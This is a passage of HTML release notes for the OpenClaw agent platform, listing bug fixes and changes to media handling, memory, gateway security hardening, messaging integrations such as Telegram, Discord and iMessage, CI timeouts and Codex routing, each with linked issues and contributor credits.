<p>Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508895502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85776/hovercard" href="https://github.com/openclaw/openclaw/pull/85776">#85776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523450985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86857/hovercard" href="https://github.com/openclaw/openclaw/pull/86857">#86857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524700097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86923/hovercard" href="https://github.com/openclaw/openclaw/pull/86923">#86923</a>)</p>
</li>
<li>
<p>Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419718885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80613" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80613/hovercard" href="https://github.com/openclaw/openclaw/issues/80613">#80613</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510790288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85967" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85967/hovercard" href="https://github.com/openclaw/openclaw/pull/85967">#85967</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520541942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86701" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86701/hovercard" href="https://github.com/openclaw/openclaw/pull/86701">#86701</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Agents/sessions: include visibility metadata on restricted <code>sessions_list</code> results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid <code>discovery.wideArea.domain</code> and <code>dns setup --domain</code> values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514047622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86312/hovercard" href="https://github.com/openclaw/openclaw/pull/86312">#86312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Telegram: treat <code>/command@TargetBot</code> bot-command entities as explicit mentions for the addressed bot so <code>requireMention</code> groups no longer drop targeted commands or captions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483658268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84462/hovercard" href="https://github.com/openclaw/openclaw/issues/84462">#84462</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</p>
</li>
<li>
<p>CI: bound Docker/Bash E2E tarball npm installs with <code>OPENCLAW_E2E_NPM_INSTALL_TIMEOUT</code> so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.</p>
</li>
<li>
<p>CI: fail Parallels npm-update smoke jobs after the guest command timeout and cleanup backstop instead of only logging a timeout line.</p>
</li>
<li>
<p>CI: bound kitchen-sink RPC HTTP probes so stalled gateway readiness or response bodies fail and retry instead of wedging the walker.</p>
</li>
<li>
<p>CI: keep <code>OPENCLAW_TESTBOX=1 pnpm check:changed</code> delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged <code>git fetch</code>.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped <code>openclaw</code> child processes cannot wedge the scheduled install smoke.</p>
</li>
<li>
<p>iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under <code>~/Library/Messages/Attachments</code> (including the wildcard <code>/Users/*/Library/Messages/Attachments</code> root) are read through the existing inbound path policy instead of being rejected as <code>path-not-allowed</code>. Literal <code>localRoots</code> stays workspace-scoped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4005822500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/30170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/30170/hovercard" href="https://github.com/openclaw/openclaw/issues/30170">#30170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>)</p>
</li>
<li>
<p>QQ Bot: respect <code>OPENCLAW_HOME</code> for outbound media path resolution so <code>&lt;qqmedia&gt;</code> sends no longer silently fail when <code>HOME</code> and <code>OPENCLAW_HOME</code> differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468393053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83562" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83562/hovercard" href="https://github.com/openclaw/openclaw/issues/83562">#83562</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>.</p>
</li>
<li>
<p>Update: report the primary malformed <code>openclaw.extensions</code> payload error without adding a duplicate missing-main diagnostic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518738170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86596/hovercard" href="https://github.com/openclaw/openclaw/pull/86596">#86596</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519194707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86620/hovercard" href="https://github.com/openclaw/openclaw/pull/86620">#86620</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BryanTegomoh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BryanTegomoh">@BryanTegomoh</a>.</p>
</li>
<li>
<p>Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518368934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86575" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86575/hovercard" href="https://github.com/openclaw/openclaw/pull/86575">#86575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>IRC: store inbound channel routes with the canonical <code>channel:#name</code> target and join transient channel sends before writing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident <code>$0</code> total. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510071986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85882" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85882/hovercard" href="https://github.com/openclaw/openclaw/pull/85882">#85882</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MichaelZelbel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MichaelZelbel">@MichaelZelbel</a>.</p>
</li>
<li>
<p>Agents/Codex: honor yolo app-server approval policy only for the full <code>never</code> plus <code>danger-full-access</code> case. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/earlvanze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/earlvanze">@earlvanze</a>.</p>
</li>
<li>
<p>Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462445654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82947/hovercard" href="https://github.com/openclaw/openclaw/pull/82947">#82947</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414373713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80059/hovercard" href="https://github.com/openclaw/openclaw/pull/80059">#80059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelzak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelzak">@pavelzak</a>.</p>
</li>
<li>
<p>Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct <code>discord.com</code> connections before opening the WebSocket. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Clivilwalker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Clivilwalker">@Clivilwalker</a>.</p>
</li>
<li>
<p>Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491887450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84812" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84812/hovercard" href="https://github.com/openclaw/openclaw/pull/84812">#84812</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marchpure/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marchpure">@marchpure</a>.</p>
</li>
<li>
<p>Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517290933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86501/hovercard" href="https://github.com/openclaw/openclaw/pull/86501">#86501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</p>
</li>
<li>
<p>Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517772956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86529/hovercard" href="https://github.com/openclaw/openclaw/pull/86529">#86529</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Gateway: emit plugin <code>session_end</code>/<code>session_start</code> hooks when <code>agent.send</code> rotates or replaces a session id, keeping hook lifecycle state aligned with <code>sessions.changed</code> notifications. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467265613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83507" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83507/hovercard" href="https://github.com/openclaw/openclaw/issues/83507">#83507</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509963144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85875/hovercard" href="https://github.com/openclaw/openclaw/pull/85875">#85875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332058570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72373" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72373/hovercard" href="https://github.com/openclaw/openclaw/issues/72373">#72373</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Google: stop normalizing <code>gemini-3.1-flash-lite</code> to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512418235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86151" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86151/hovercard" href="https://github.com/openclaw/openclaw/issues/86151">#86151</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513395718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86240" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86240/hovercard" href="https://github.com/openclaw/openclaw/pull/86240">#86240</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try <code>nodejs-current</code>, and report Alpine version guidance when repositories only provide older Node packages.</p>
</li>
<li>
<p>Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415131122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80184" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80184/hovercard" href="https://github.com/openclaw/openclaw/issues/80184">#80184</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518344489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86570/hovercard" href="https://github.com/openclaw/openclaw/pull/86570">#86570</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505148850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85489/hovercard" href="https://github.com/openclaw/openclaw/pull/85489">#85489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: allow Codex app-server runs to bootstrap from <code>CODEX_API_KEY</code> or <code>OPENAI_API_KEY</code> when no Codex auth profile is configured.</p>
</li>
<li>
<p>Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/funmerlin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/funmerlin">@funmerlin</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</p>
</li>
<li>
<p>Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute <code>time</code> paths so RSS probes can run Node and pnpm on fresh macOS runners.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.</p>
</li>
<li>
<p>TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.</p>
</li>
<li>
<p>Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale <code>sessions.json.*.tmp</code> sidecars. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162810373" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56827/hovercard" href="https://github.com/openclaw/openclaw/issues/56827">#56827</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.</p>
</li>
<li>
<p>Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.</p>
</li>
<li>
<p>Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.</p>
</li>
<li>
<p>Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517583554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86518" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86518/hovercard" href="https://github.com/openclaw/openclaw/issues/86518">#86518</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.</p>
</li>
<li>
<p>Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.</p>
</li>
<li>
<p>Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run <code>ENOENT</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.</p>
</li>
<li>
